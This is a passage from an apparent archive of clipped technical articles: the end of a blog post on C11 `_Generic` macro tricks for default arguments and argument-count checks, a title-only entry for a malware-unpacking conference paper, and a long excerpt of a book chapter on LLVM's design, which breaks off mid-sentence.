_named parameters_ , in some languages, as well\) as a bonus. Just use a
structure as your last parameter and stuff it with a compound literal. The
disadvantage is that your defaults are all zeros \(or whatever default
initializer you get for the field type\)… unless you name all of your
arguments and include defaults in the compound literal; but that’s not what
we’re aiming for here: we’re looking for plain old optional positional
parameters.

You could also count the number of arguments in the variable argument list of
a macro, but this requires a lot of boilerplate to define a version for each
possible number of arguments.

Lastly, you could use arbitrary symbols and test for equality using
preprocessor logic \(for those who don’t know, it _is_ possible with the
standard C99 preprocessor to macro-branch on whether a given argument is equal
to a few different things… it just requires quite a lot of work in the
background and has some limitations as well — read the sources of any
heavyweight preprocessor library and you’ll see; e.g. the one provided with
COS\). However, this has some quirks \(which are outside of the scope of this
article\) and is definitely not for the casual preprocessor user. But the
overall design is rather appealing, so we’ll keep with that except…

We can now use `_Generic` type constants instead of symbols. Let’s look at
some code:

[code]

    /* Generic definitions, for all functions thereafter. */
    struct dflarg_;
    #define DFLARG ((struct dflarg_ *)NULL)
    #define IFDFL(arg, dflval)                                    \
            _Generic((arg),                                       \
                struct dflarg_ *: dflval,                         \
                default: (arg))
    
    /*
     * Some function foobar with two optional arguments.
     * We take the second (non-optional) argument as part of
     * __VA_ARGS__ so the list is never empty.
     */
    int foobar(int, int, int, int);
    #define foobar(x, ...)                                        \
            foobar_((x), __VA_ARGS__, DFLARG, DFLARG)
    #define foobar_(x, y, z, t, ...)                              \
            (foobar)((x), (y), IFDFL((z), 42), IFDFL((t), 36))
    
[/code]

And here you go\! Default arguments in C11 using `_Generic`.

### Sample application 2: argument list length check

In our previous example, you’ve probably noticed that `foobar` now accepts
extra arguments, which is not exactly ideal. More generally, it happens quite
often with variadic macros \(in my experience, especially "helper" macros that
tend to be buried under more user-friendly ones, and that may need to handle
the results of concatenating, splitting, mapping, and other operations on
previous argument lists\) that there’s a limit to how many arguments you
actually want to handle.

Again, it is possible with the C99 preprocessor to check for the argument list
length, but this typically involves even more heavy preprocessor logic than
before, as you’ll want to do arithmetic with the preprocessor. There are ways
to avoid the arithmetics, but as far as I know, they all require quite a bit
of preprocessor metaprogramming in their own right.

With C11 and `_Generic`, however, you could just use a type-level constant…
how? This is really just more of the above \(well, it _is_ the same trick,
after all\):

[code]

    /* Our end-of-list marker is really just another default. */
    #define EOARGS DFLARG
    #define ISEOARGS(arg)                                         \
            _Generic((arg),                                       \
                struct dflarg_ *: true,                           \
                default: false)
    
    #define foobar(x, ...)                                        \
            foobar_((x), __VA_ARGS__, DFLARG, DFLARG, EOARGS)
    #define foobar_(x, y, z, t, eoargs, ...)                      \
            (_Static_assert(ISEOARGS(eoargs),                     \
                "too many arguments to foobar"),                  \
            (foobar)((x), (y), IFDFL((z), 42), IFDFL((t), 36)))
    
[/code]

If you try this code… it should fail. That is because `_Static_assert` is a
declaration according to the C11 grammar. This can be worked around by
wrapping the `_Static_assert` in an inline structure declaration within a
compound literal, like so:

[code]

    #define inline_static_assert(x, s)                            \
            ((void)(const struct { int _unused;                   \
                _Static_assert((x), s); }){ 0 })
    
[/code]

Unfortunately, this \(supposedly corrected\) code does not compile with Clang
3.0. Otherwise, we’d get the following final macro for `foobar_`:

[code]

    #define foobar_(x, y, z, t, eoargs, ...)                      \
            (inline_static_assert(ISEOARGS(eoargs),               \
                "too many arguments to foobar"),                  \
            (foobar)((x), (y), IFDFL((z), 42), IFDFL((t), 36)))
    
[/code]

I only have the N1570 draft so I can’t say for sure that this is correct, but
my copy specifically states that a `_Static_assert` can occur inside a
structure declaration \(§ 6.7.2.1\).

Hence we’re left with emulating `_Static_assert`, with the traditional
negative array size trick, for example:

[code]

    #define inline_static_assert(x, s)                            \
            ((void)(char * [(x) ? 1 : -1]){ s })
    
[/code]

Now, the following call will fail to compile, although with an ugly message —
can’t have it all, I guess:

[code]

    foobar(6, 7, 1+1, 3*4, 5/5);
    
[/code]

### Conclusion

Well, this is it. `_Generic` is not widely supported yet, but hopefully
support will come soon enough \(and in the meantime, you can use P99 if you’re
so inclined\), at least for people living outside of the C-hater kingdom that
Visual Studio has become. And once it does, I think it will help with
simplifying some preprocessor hacks that used to require a lot of added
ma^Wlogic in order to branch at macro-expansion time.

# Microsoft Word - bhusa2007-myason-unpacking.doc - bh-usa-07-yason-WP.pdf

**Created:**| _8/24/2014 8:00:28 PM_  
---|---  
**Updated:**| _8/24/2014 8:00:28 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis unpacking_  
  
<img src='img/bh-usa-07-yason-WP.pdf' />

# The Architecture of Open Source Applications: LLVM

**Created:**| _5/20/2012 4:29:11 PM_  
---|---  
**Updated:**| _5/20/2012 4:29:11 PM_  
**Author:**| __  
**Tags:**| _llvm il_  
  

This chapter discusses some of the design decisions that shaped LLVM1, an
umbrella project that hosts and develops a set of close-knit low-level
toolchain components \(e.g., assemblers, compilers, debuggers, etc.\), which
are designed to be compatible with existing tools typically used on Unix
systems. The name "LLVM" was once an acronym, but is now just a brand for the
umbrella project. While LLVM provides some unique capabilities, and is known
for some of its great tools \(e.g., the Clang compiler2, a C/C++/Objective-C
compiler which provides a number of benefits over the GCC compiler\), the main
thing that sets LLVM apart from other compilers is its internal architecture.

From its beginning in December 2000, LLVM was designed as a set of reusable
libraries with well-defined interfaces \[LA04\]. At the time, open source
programming language implementations were designed as special-purpose tools
which usually had monolithic executables. For example, it was very difficult
to reuse the parser from a static compiler \(e.g., GCC\) for doing static
analysis or refactoring. While scripting languages often provided a way to
embed their runtime and interpreter into larger applications, this runtime was
a single monolithic lump of code that was included or excluded. There was no
way to reuse pieces, and very little sharing across language implementation
projects.

Beyond the composition of the compiler itself, the communities surrounding
popular language implementations were usually strongly polarized: an
implementation usually provided _either_ a traditional static compiler like
GCC, Free Pascal, and FreeBASIC, _or_ it provided a runtime compiler in the
form of an interpreter or Just-In-Time \(JIT\) compiler. It was very uncommon
to see language implementation that supported both, and if they did, there was
usually very little sharing of code.

Over the last ten years, LLVM has substantially altered this landscape. LLVM
is now used as a common infrastructure to implement a broad variety of
statically and runtime compiled languages \(e.g., the family of languages
supported by GCC, Java, .NET, Python, Ruby, Scheme, Haskell, D, as well as
countless lesser known languages\). It has also replaced a broad variety of
special purpose compilers, such as the runtime specialization engine in
Apple's OpenGL stack and the image processing library in Adobe's After Effects
product. Finally LLVM has also been used to create a broad variety of new
products, perhaps the best known of which is the OpenCL GPU programming
language and runtime.

## 11.1. A Quick Introduction to Classical Compiler Design

The most popular design for a traditional static compiler \(like most C
compilers\) is the three phase design whose major components are the front
end, the optimizer and the back end \(Figure 11.1\). The front end parses
source code, checking it for errors, and builds a language-specific Abstract
Syntax Tree \(AST\) to represent the input code. The AST is optionally
converted to a new representation for optimization, and the optimizer and back
end are run on the code.

<img src='http://www.aosabook.org/en//../images/llvm/SimpleCompiler.png'
alt='[Three Major Components of a Three-Phase Compiler]' />

Figure 11.1: Three Major Components of a Three-Phase Compiler

The optimizer is responsible for doing a broad variety of transformations to
try to improve the code's running time, such as eliminating redundant
computations, and is usually more or less independent of language and target.
The back end \(also known as the code generator\) then maps the code onto the
target instruction set. In addition to making _correct_ code, it is
responsible for generating _good_ code that takes advantage of unusual
features of the supported architecture. Common parts of a compiler back end
include instruction selection, register allocation, and instruction
scheduling.

This model applies equally well to interpreters and JIT compilers. The Java
Virtual Machine \(JVM\) is also an implementation of this model, which uses
Java bytecode as the interface between the front end and optimizer.

### 11.1.1. Implications of this Design

The most important win of this classical design comes when a compiler decides
to support multiple source languages or target architectures. If the compiler
uses a common code representation in its optimizer, then a front end can be
written for any language that can compile to it, and a back end can be written
for any target that can compile from it, as shown in Figure 11.2.

<img src='http://www.aosabook.org/en//../images/llvm/RetargetableCompiler.png'
alt='[Retargetablity]' />

Figure 11.2: Retargetablity

With this design, porting the compiler to support a new source language
\(e.g., Algol or BASIC\) requires implementing a new front end, but the
existing optimizer and back end can be reused. If these parts weren't
separated, implementing a new source language would require starting over from
scratch, so supporting `N` targets and `M` source languages would need N\*M
compilers.

Another advantage of the three-phase design \(which follows directly from
retargetability\) is that the compiler serves a broader set of programmers
than it would if it only supported one source language and one target. For an
open source project, this means that there is a larger community of potential
contributors to draw from, which naturally leads to more enhancements and
improvements to the compiler. This is the reason why open source compilers
that serve many communities \(like GCC\) tend to generate better optimized
machine code than narrower compilers like FreePASCAL. This isn't the case for
proprietary compilers, whose quality is directly related to the project's
budget. For example, the Intel ICC Compiler is widely known for the quality of
code it generates, even though it serves a narrow audience.

A final major win of the three-phase design is that the skills required to
implement a front end are different than those required for the optimizer and
back end. Separating these makes it easier for a "front-end person" to enhance
and maintain their part of the compiler. While this is a social issue, not a
technical one, it matters a lot in practice, particularly for open source
projects that want to reduce the barrier to contributing as much as possible.

## 11.2. Existing Language Implementations

While the benefits of a three-phase design are compelling and well-documented
in compiler textbooks, in practice it is almost never fully realized. Looking
across open source language implementations \(back when LLVM was started\),
you'd find that the implementations of Perl, Python, Ruby and Java share no
code. Further, projects like the Glasgow Haskell Compiler \(GHC\) and
FreeBASIC are retargetable to multiple different CPUs, but their
implementations are very specific to the one source language they support.
There is also a broad variety of special purpose compiler technology deployed
to implement JIT compilers for image processing, regular expressions, graphics
card drivers, and other subdomains that require CPU intensive work.

That said, there are three major success stories for this model, the first of
which are the Java and .NET virtual machines. These systems provide a JIT
compiler, runtime support, and a very well defined bytecode format. This means
that any language that can compile to the bytecode format \(and there are
dozens of them3\) can take advantage of the effort put into the optimizer and
JIT as well as the runtime. The tradeoff is that these implementations provide
little flexibility in the choice of runtime: they both effectively force JIT
compilation, garbage collection, and the use of a very particular object
model. This leads to suboptimal performance when compiling languages that
don't match this model closely, such as C \(e.g., with the LLJVM project\).

A second success story is perhaps the most unfortunate, but also most popular
way to reuse compiler technology: translate the input source to C code \(or
some other language\) and send it through existing C compilers. This allows
reuse of the optimizer and code generator, gives good flexibility, control
over the runtime, and is really easy for front-end implementers to understand,
implement, and maintain. Unfortunately, doing this prevents efficient
implementation of exception handling, provides a poor debugging experience,
slows down compilation, and can be problematic for languages that require
guaranteed tail calls \(or other features not supported by C\).

A final successful implementation of this model is GCC4. GCC supports many
front ends and back ends, and has an active and broad community of
contributors. GCC has a long history of being a C compiler that supports
multiple targets with hacky support for a few other languages bolted onto it.
As the years go by, the GCC community is slowly evolving a cleaner design. As
of GCC 4.4, it has a new representation for the optimizer \(known as "GIMPLE
Tuples"\) which is closer to being separate from the front-end representation
than before. Also, its Fortran and Ada front ends use a clean AST.

While very successful, these three approaches have strong limitations to what
they can be used for, because they are designed as monolithic applications. As
one example, it is not realistically possible to embed GCC into other
applications, to use GCC as a runtime/JIT compiler, or extract and reuse
pieces of GCC without pulling in most of the compiler. People who have wanted
to use GCC's C++ front end for documentation generation, code indexing,
refactoring, and static analysis tools have had to use GCC as a monolithic
application that emits interesting information as XML, or write plugins to
inject foreign code into the GCC process.

There are multiple reasons why pieces of GCC cannot be reused as libraries,
including rampant use of global variables, weakly enforced invariants, poorly-
designed data structures, sprawling code base, and the use of macros that
prevent the codebase from being compiled to support more than one front-
end/target pair at a time. The hardest problems to fix, though, are the
inherent architectural problems that stem from its early design and age.
Specifically, GCC suffers from layering problems and leaky abstractions: the
back end walks front-end ASTs to generate debug info, the front ends generate
back-end data structures, and the entire compiler depends on global data
structures set up by the command line interface.

## 11.3. LLVM's Code Representation: LLVM IR

With the historical background and context out of the way, let's dive into
LLVM: The most important aspect of its design is the LLVM Intermediate
Representation \(IR\), which is the form it uses to represent code in the
compiler. LLVM IR is designed to host mid-level analyses and transformations
that you find in the optimizer section of a compiler. It was designed with
many specific goals in mind, including supporting lightweight runtime
optimizations, cross-function/interprocedural optimizations, whole program
analysis, and aggressive restructuring transformations, etc. The most
important aspect of it, though, is that it is itself defined as a first class
language with well-defined semantics. To make this concrete, here is a simple
example of a `.ll` file:

[code]

    define i32 @add1(i32 %a, i32 %b) {
    entry:
      %tmp1 = add i32 %a, %b
      ret i32 %tmp1
    }
    
    define i32 @add2(i32 %a, i32 %b) {
    entry:
      %tmp1 = icmp eq i32 %a, 0
      br i1 %tmp1, label %done, label %recurse
    
    recurse:
      %tmp2 = sub i32 %a, 1
      %tmp3 = add i32 %b, 1
      %tmp4 = call i32 @add2(i32 %tmp2, i32 %tmp3)
      ret i32 %tmp4
    
    done:
      ret i32 %b
    }
    
[/code]

This LLVM IR corresponds to this C code, which provides two different ways to
add integers:

[code]

    unsigned add1(unsigned a, unsigned b) {
      return a+b;
    }
    
    // Perhaps not the most efficient way to add two numbers.
    unsigned add2(unsigned a, unsigned b) {
      if (a == 0) return b;
      return add2(a-1, b+1);
    }
    
[/code]

As you can see from this example, LLVM IR is a low-level RISC-like virtual
instruction set. Like a real RISC instruction set, it supports linear
sequences of simple instructions like add, subtract, compare, and branch.
These instructions are in three address form, which means that they take some
number of inputs and produce a result in a different register.5 LLVM IR
supports labels and generally looks like a weird form of assembly language.

Unlike most RISC instruction sets, LLVM is strongly typed with a simple type
system \(e.g., `i32` is a 32-bit integer, `i32**` is a pointer to pointer to
32-bit integer\) and some details of the machine are abstracted away. For
example, the calling convention is abstracted through `call` and `ret`
instructions and explicit arguments. Another significant difference from
machine code is that the LLVM IR doesn't use a fixed set of named registers,
it uses an infinite set of temporaries named with a % character.

Beyond being implemented as a language, LLVM IR is actually defined in three
isomorphic forms: the textual format above, an in-memory data structure
inspected and modified by optimizations themselves, and an efficient and dense
on-disk binary "bitcode" format. The LLVM Project also provides tools to
convert the on-disk format from text to binary: `llvm-as` assembles the
textual `.ll` file into a `.bc` file containing the bitcode goop and `llvm-
dis` turns a `.bc` file into a `.ll` file.

The intermediate representation of a compiler is interesting because it can be
a "perfect world" for the compiler optimizer: unlike the front end and back
end of the compiler, the optimizer isn't constrained by either a specific
source language or a specific target machine. On the other hand, it has to
serve both well: it has to be designed to be easy for a front end to generate
and be expressive enough to allow important optimizations to be performed for
real targets.

### 11.3.1. Writing an LLVM IR Optimization

To give some intuition for how optimizations work, it is useful to walk
through some examples. There are lots of different kinds of compiler
optimizations, so it is hard to provide a recipe for how to solve an arbitrary
problem. That said, most optimizations follow a simple three-part structure:

  * Look for a pattern to be transformed.
  * Verify that the transformation is safe/correct for the matched instance.
  * Do the transformation, updating the code.

The most trivial optimization is pattern matching on arithmetic identities,
such as: for any integer `X`, `X-X` is 0, `X-0` is `X`, `(X*2)-X` is `X`. The
first question is what these look like in LLVM IR. Some examples are:

[code]

    ⋮    ⋮    ⋮
    %example1 = sub i32 %a, %a
    ⋮    ⋮    ⋮
    %example2 = sub i32 %b, 0
    ⋮    ⋮    ⋮
    %tmp = mul i32 %c, 2
    %example3 = sub i32 %tmp, %c
    ⋮    ⋮    ⋮
    
[/code]

For these sorts of "peephole" transformations, LLVM provides an instruction
simplification interface that is used as utilities by various other higher
level transformations. These particular transformations are in the
`SimplifySubInst` function and look like this:

[code]

    // X - 0 -> X
    if (match(Op1, m_Zero()))
      return Op0;
    
    // X - X -> 0
    if (Op0 == Op1)
      return Constant::getNullValue(Op0->getType());
    
    // (X*2) - X -> X
    if (match(Op0, m_Mul(m_Specific(Op1), m_ConstantInt<2>())))
      return Op1;
    
    …
    
    return 0;  // Nothing matched, return null to indicate no transformation.
    
[/code]

In this code, Op0 and Op1 are bound to the left and right operands of an
integer subtract instruction \(importantly, these identities don't necessarily
hold for IEEE floating point\!\). LLVM is implemented in C++, which isn't well
known for its pattern matching capabilities \(compared to functional languages
like Objective Caml\), but it does offer a very general template system that
allows us to implement something similar. The `match` function and the `m_`
functions allow us to perform declarative pattern matching operations on LLVM
IR code. For example, the `m_Specific` predicate only matches if the left hand
side of the multiplication is the same as Op1.

Together, these three cases are all pattern matched and the function returns
the replacement if it can, or a null pointer if no replacement is possible.
The caller of this function \(`SimplifyInstruction`\) is a dispatcher that
does a switch on the instruction opcode, dispatching to the per-opcode helper
functions. It is called from various optimizations. A simple driver looks like
this:

[code]

    for (BasicBlock::iterator I = BB->begin(), E = BB->end(); I != E; ++I)
      if (Value *V = SimplifyInstruction(I))
        I->replaceAllUsesWith(V);
    
[/code]

This code simply loops over each instruction in a block, checking to see if
any of them simplify. If so \(because `SimplifyInstruction` returns non-
null\), it uses the `replaceAllUsesWith` method to update anything in the code
using the simplifiable operation with the simpler form.

## 11.4. LLVM's Implementation of Three-Phase Design

In an LLVM-based compiler, a front end is responsible for parsing, validating
and diagnosing errors in the input code, then translating the parsed code into
LLVM IR \(usually, but not always, by building an AST and then converting the
AST to LLVM IR\). This IR is optionally fed through a series of analysis and
optimization passes which improve the code, then is sent into a code generator
to produce native machine code, as shown in Figure 11.3. This is a very
straightforward implementation of the three-phase design, but this simple
description glosses over some of the power and flexibility that the LLVM
architecture derives from LLVM IR.

<img src='http://www.aosabook.org/en//../images/llvm/LLVMCompiler1.png'
alt='[LLVM's Implementation of the Three-Phase Design]' />

Figure 11.3: LLVM's Implementation of the Three-Phase Design

### 11.4.1. LLVM IR is a Complete Code Representation

In particular, LLVM IR is both well specified and the _only_ interface to the
optimizer. This property means that all you need to know to write a front end
for LLVM is what LLVM IR is, how it works, and the invariants it expects.
Since LLVM IR has a first-class textual form, it is both possible and
reasonable to build a front end that outputs LLVM IR as text, then uses Unix
pipes to send it through the optimizer sequence and code generator of your
choice.

It might be surprising, but this is actually a pretty novel property to LLVM
and one of the major reasons for its success in a broad range of different
applications. Even the widely successful and relatively well-architected GCC
compiler does not have this property: its GIMPLE mid-level representation is
not a self-contained representation. As a simple example, when the GCC code
generator goes to emit DWARF debug information, it reaches back and walks the
source level "tree" form. GIMPLE itself uses a "tuple" representation for the
operations in the code, but \(at least as of GCC 4.5\) still represents
operands as references back to the source level tree form.

The implications of this are that front-end authors need to know and produce
GCC's tree data structures as well as GIMPLE to write a GCC front end. The GCC
back end has similar problems, so they also need to know bits and pieces of
how the RTL back end works as well. Finally, GCC doesn't have a way to dump
out "everything representing my code", or a way to read and write GIMPLE \(and
the related data structures that form the representation of the code\) in text
form. The result is that it is relatively hard to experiment with GCC, and
therefore it has relatively few front ends.

### 11.4.2. LLVM is a Collection of Libraries

After the design of LLVM IR, the next most important aspect of LLVM is that it
is designed as a set of libraries, rather than as a monolithic command line
compiler like GCC or an opaque virtual machine like the JVM or .NET virtual
machines. LLVM is an infrastructure, a collection of useful compiler
technology that can be brought to bear on specific problems \(like building a
C compiler, or an optimizer in a special effects pipeline\). While one of its
most powerful features, it is also one of its least understood design points.

Let's look at the design of the optimizer as an example: it reads LLVM IR in,
chews on it a bit, then emits LLVM IR which hopefully will execute faster. In
LLVM \(as in many other compilers\) the optimizer is organized as a pipeline
of distinct optimization passes each of which is run on the input and has a
chance to do something. Common examples of passes are the inliner \(which
substitutes the body of a function into call sites\), expression
reassociation, loop invariant code motion, etc. Depending on the optimization
level, different passes are run: for example at -O0 \(no optimization\) the
Clang compiler runs no passes, at -O3 it runs a series of 67 passes in its
optimizer \(as of LLVM 2.8\).

Each LLVM pass is written as a C++ class that derives \(indirectly\) from the
`Pass` class. Most passes are written in a single `.cpp` file, and their
subclass of the `Pass` class is defined in an anonymous namespace \(which
makes it completely private to the defining file\). In order for the pass to
be useful, code outside the file has to be able to get it, so a single
function \(to create the pass\) is exported from the file. Here is a slightly
simplified example of a pass to make things concrete.6

[code]

    namespace {
      class Hello : public FunctionPass {
      public:
        // Print out the names of functions in the LLVM IR being optimized.
        virtual bool runOnFunction(Function &F) {
          cerr << "Hello: " << F.getName() << "\n";
          return false;
        }
      };
    }
    
    FunctionPass *createHelloPass() { return new Hello(); }
    
[/code]

As mentioned, the LLVM optimizer provides dozens of different passes, each of
which are written in a similar style. These passes are compiled into one or
more `.o` files, which are then built into a series of archive libraries
\(`.a` files on Unix systems\). These libraries provide all sorts of analysis
and transformation capabilities, and the passes are as loosely coupled as
possible: they are expected to stand on their own, or explicitly declare their
dependencies among other passes if they depend on some other analysis to do
their job. When given a series of passes to run, the LLVM PassManager uses the
explicit dependency information to satisfy these dependencies and optimize the
execution of passes.

Libraries and abstract capabilities are great, but they don't actually solve
problems. The interesting bit comes when someone wants to build a new tool
that can benefit from compiler technology, perhaps a JIT compiler for an image
processing language. The implementer of this JIT compiler has a set of
constraints in mind: for example, perhaps the image processing language is
highly sensitive to compile-time latency and has some idiomatic language
properties that are important to optimize away for performance reasons.

The library-based design of the LLVM optimizer allows our implementer to pick
and choose both the order in which passes execute, and which ones make sense
for the image processing domain: if everything is defined as a single big
function, it doesn't make sense to waste time on inlining. If there are few
pointers, alias analysis and memory optimization aren't worth bothering about.
However, despite our best efforts, LLVM doesn't magically solve all
optimization problems\! Since the pass subsystem is modularized and the
PassManager itself doesn't know anything about the internals of the passes,
the implementer is free to implement their own language-specific passes to
cover for deficiencies in the LLVM optimizer or to explicit language-specific
optimization opportunities. Figure 11.4 shows a simple example for our
hypothetical XYZ image processing system:

<img src='http://www.aosabook.org/en//../images/llvm/PassLinkage.png'
alt='[Hypothetical XYZ System using LLVM]' />

Figure 11.4: Hypothetical XYZ System using LLVM

Once the set of optimizations is chosen \(and similar decisions are made for
the code generator\) the image processing compiler is built into an executable
or dynamic library. Since the only reference to the LLVM optimization passes
is the simple `create` function defined in each `.o` file, and since the
optimizers live in `.a` archive libraries, only the optimization passes _that
are actually used_ are linked into the end application, not the entire LLVM
optimizer. In our example above, since there is a reference to PassA and
PassB, they will get linked in. Since PassB uses PassD to do some analysis,
PassD gets linked in. However, since PassC \(and dozens of other
optimizations\) aren't used, its code isn't linked into the image processing
application.

This is where the power of the library-based design of LLVM comes into play.
This straightforward design approach allows LLVM to provide a vast amount of
capability, some of which may only be useful to specific audiences, without
punishing clients of the libraries that just want to do simple things. In
contrast, traditional compiler optimizers are built as a tightly
interconnected mass of code, which is much more difficult to subset, reason
about, and come up to speed on. With LLVM you can understand individual
optimizers without knowing how the whole system fits together.

This library-based design is also the reason why so many people misunderstand
what LLVM is all about: the LLVM libraries have many capabilities, but they
don't actually _do_ anything by themselves. It is up to the designer of the
client of the libraries \(e.g., the Clang C compiler\) to decide how to put
the pieces to best use. This careful layering, factoring, and focus on subset-
ability is also why the LLVM optimizer can be used for such a broad range of
different applications in different contexts. Also, just because LLVM provides
JIT compilation capabilities, it doesn't mean that every client uses it.

## 11.5. Design of the Retargetable LLVM Code Generator

The LLVM code generator is responsible for transforming LLVM IR into target
specific machine code. On the one hand, it is the code generator's job to
produce the best possible machine code for any given target. Ideally, each
code generator should be completely custom code for the target, but on the
other hand, the code generators for each target need to solve very similar
problems. For example, each target needs to assign values to registers, and
though each target has different register files, the algorithms used should be
shared wherever possible.

Similar to the approach in the optimizer, LLVM's code generator splits the
code generation problem into individual passes—instruction selection, register
allocation, scheduling, code layout optimization, and assembly emission—and
provides many builtin passes that are run by default. The target author is
then given the opportunity to choose among the default passes, override the
defaults and implement completely custom target-specific passes as required.
For example, the x86 back end uses a register-pressure-reducing scheduler
since it has very few registers, but the PowerPC back end uses a latency
optimizing scheduler since it has many of them. The x86 back end uses a custom
pass to handle the x87 floating point stack, and the ARM back end uses a
custom pass to place constant pool islands inside functions where needed. This
flexibility allows target authors to produce great code without having to
write an entire code generator from scratch for their target.

### 11.5.1. LLVM Target Description Files

The "mix and match" approach allows target authors to choose what makes sense
for their architecture and permits a large amount of code reuse across
different targets. This brings up another challenge: each shared component
needs to be able to reason about target specific properties in a generic way.
For example, a shared register allocator needs to know the register file of
each target and the constraints that exist between instructions and their
register operands. LLVM's solution to this is for each target to provide a
target description in a declarative domain-specific language \(a set of `.td`
files\) processed by the tblgen tool. The \(simplified\) build process for the
x86 target is shown in Figure 11.5.

<img src='http://www.aosabook.org/en//../images/llvm/X86Target.png'
alt='[Simplified x86 Target Definition]' />

Figure 11.5: Simplified x86 Target Definition

The different subsystems supported by the `.td` files allow target authors to
build up the different pieces of their target. For example, the x86 back end
defines a register class that holds all of its 32-bit registers named "GR32"
\(in the `.td` files, target specific definitions are all caps\) like this:

[code]

    def GR32 : RegisterClass<[i32], 32,
      [EAX, ECX, EDX, ESI, EDI, EBX, EBP, ESP,
       R8D, R9D, R10D, R11D, R14D, R15D, R12D, R13D]> { … }
    
[/code]

This definition says that registers in this class can hold 32-bit integer
values \("i32"\), prefer to be 32-bit aligned, have the specified 16 registers
\(which are defined elsewhere in the `.td` files\) and have some more
information to specify preferred allocation order and other things. Given this
definition, specific instructions can refer to this, using it as an operand.
For example, the "complement a 32-bit register" instruction is defined as:

[code]

    let Constraints = "$src = $dst" in
    def NOT32r : I<0xF7, MRM2r,
                   (outs GR32:$dst), (ins GR32:$src),
                   "not{l}\t$dst",
                   [(set GR32:$dst, (not GR32:$src))]>;
    
[/code]

This definition says that NOT32r is an instruction \(it uses the `I` tblgen
class\), specifies encoding information \(`0xF7, MRM2r`\), specifies that it
defines an "output" 32-bit register `$dst` and has a 32-bit register "input"
named `$src` \(the `GR32` register class defined above defines which registers
are valid for the operand\), specifies the assembly syntax for the instruction
\(using the `{}` syntax to handle both AT&T and Intel syntax\), specifies the
effect of the instruction and provides the pattern that it should match on the
last line. The "let" constraint on the first line tells the register allocator
that the input and output register must be allocated to the same physical
register.

This definition is a very dense description of the instruction, and the common
LLVM code can do a lot with information derived from it \(by the `tblgen`
tool\). This one definition is enough for instruction selection to form this
instruction by pattern matching on the input IR code for the compiler. It also
tells the register allocator how to process it, is enough to encode and decode
the instruction to machine code bytes, and is enough to parse and print the
instruction in a textual form. These capabilities allow the x86 target to
support generating a stand-alone x86 assembler \(which is a drop-in
replacement for the "gas" GNU assembler\) and disassemblers from the target
description as well as handle encoding the instruction for the JIT.

In addition to providing useful functionality, having multiple pieces of
information generated from the same "truth" is good for other reasons. This
approach makes it almost infeasible for the assembler and disassembler to
disagree with each other in either assembly syntax or in the binary encoding.
It also makes the target description easily testable: instruction encodings
can be unit tested without having to involve the entire code generator.

While we aim to get as much target information as possible into the `.td`
files in a nice declarative form, we still don't have everything. Instead, we
require target authors to write some C++ code for various support routines and
to implement any target specific passes they might need \(like
`X86FloatingPoint.cpp`, which handles the x87 floating point stack\). As LLVM
continues to grow new targets, it becomes more and more important to increase
the amount of the target that can be expressed in the `.td` file, and we
continue to increase the expressiveness of the `.td` files to handle this. A
great benefit is that it gets easier and easier write targets in LLVM as time
goes on.

## 11.6. Interesting Capabilities Provided by a Modular Design

Besides being a generally elegant design, modularity provides clients of the
LLVM libraries with several interesting capabilities. These capabilities stem
from the fact that LLVM provides functionality, but lets the client decide
most of the _policies_ on how to use it.

### 11.6.1. Choosing When and Where Each Phase Runs

As mentioned earlier, LLVM IR can be efficiently \(de\)serialized to/from a
binary format known as LLVM bitcode. Since LLVM IR is self-contained, and
serialization is a lossless process, we can do part of compilation, save our
progress to disk, then continue work at some point in the future. This feature
provides a number of interesting capabilities including support for link-time
and install-time optimization, both of which delay code generation from
"compile time".

Link-Time Optimization \(LTO\) addresses the problem where the compiler
traditionally only sees one translation unit \(e.g., a `.c` file with all its
headers\) at a time and therefore cannot do optimizations \(like inlining\)
across file boundaries. LLVM compilers like Clang support this with the
`-flto` or `-O4` command line option. This option instructs the compiler to
emit LLVM bitcode to the `.o`file instead of writing out a native object file,
and delays code generation to link time, shown in Figure 11.6.

<img src='http://www.aosabook.org/en//../images/llvm/LTO.png' alt='[Link-Time
Optimization]' />

Figure 11.6: Link-Time Optimization

Details differ depending on which operating system you're on, but the
important bit is that the linker detects that it has LLVM bitcode in the `.o`
files instead of native object files. When it sees this, it reads all the
bitcode files into memory, links them together, then runs the LLVM optimizer
over the aggregate. Since the optimizer can now see across a much larger
portion of the code, it can inline, propagate constants, do more aggressive
dead code elimination, and more across file boundaries. While many modern
compilers support LTO, most of them \(e.g., GCC, Open64, the Intel compiler,
etc.\) do so by having an expensive and slow serialization process. In LLVM,
LTO falls out naturally from the design of the system, and works across
different source languages \(unlike many other compilers\) because the IR is
truly source language neutral.

Install-time optimization is the idea of delaying code generation even later
than link time, all the way to install time, as shown in Figure 11.7. Install
time is a very interesting time \(in cases when software is shipped in a box,
downloaded, uploaded to a mobile device, etc.\), because this is when you find
out the specifics of the device you're targeting. In the x86 family for
example, there are broad variety of chips and characteristics. By delaying
instruction choice, scheduling, and other aspects of code generation, you can
pick the best answers for the specific hardware an application ends up running
on.

<img src='http://www.aosabook.org/en//../images/llvm/InstallTime.png'
alt='[Install-Time Optimization]' />

Figure 11.7: Install-Time Optimization

### 11.6.2. Unit Testing the Optimizer

Compilers are very complicated, and quality is important, therefore testing is
critical. For example, after fixing a bug that caused a crash in an optimizer,
a regression test should be added to make sure it doesn't happen again. The
traditional approach to testing this is to write a `.c` file \(for example\)
that is run through the compiler, and to have a test harness that verifies
that the compiler doesn't crash. This is the approach used by the GCC test
suite, for example.

The problem with this approach is that the compiler consists of many different
subsystems and even many different passes in the optimizer, all of which have
the opportunity to change what the input code looks like by the time it gets
to the previously buggy code in question. If something changes in the front
end or an earlier optimizer, a test case can easily fail to test what it is
supposed to be testing.

By using the textual form of LLVM IR with the modular optimizer, the LLVM test
suite has highly focused regression tests that can load LLVM IR from disk, run
it through exactly one optimization pass, and verify the expected behavior.
Beyond crashing, a more complicated behavioral test wants to verify that an
optimization is actually performed. Here is a simple test case that checks to
see that the constant propagation pass is working with add instructions:

[code]

    ; RUN: opt < %s -constprop -S | FileCheck %s
    define i32 @test() {
      %A = add i32 4, 5
      ret i32 %A
      ; CHECK: @test()
      ; CHECK: ret i32 9
    }
    
[/code]

The `RUN` line specifies the command to execute: in this case, the `opt` and
`FileCheck` command line tools. The `opt` program is a simple wrapper around
the LLVM pass manager, which links in all the standard passes \(and can
dynamically load plugins containing other passes\) and exposes them through to
the command line. The `FileCheck` tool verifies that its standard input
matches a series of `CHECK` directives. In this case, this simple test is
verifying that the `constprop` pass is folding the `add` of 4 and 5 into 9.

While this might seem like a really trivial example, this is very difficult to
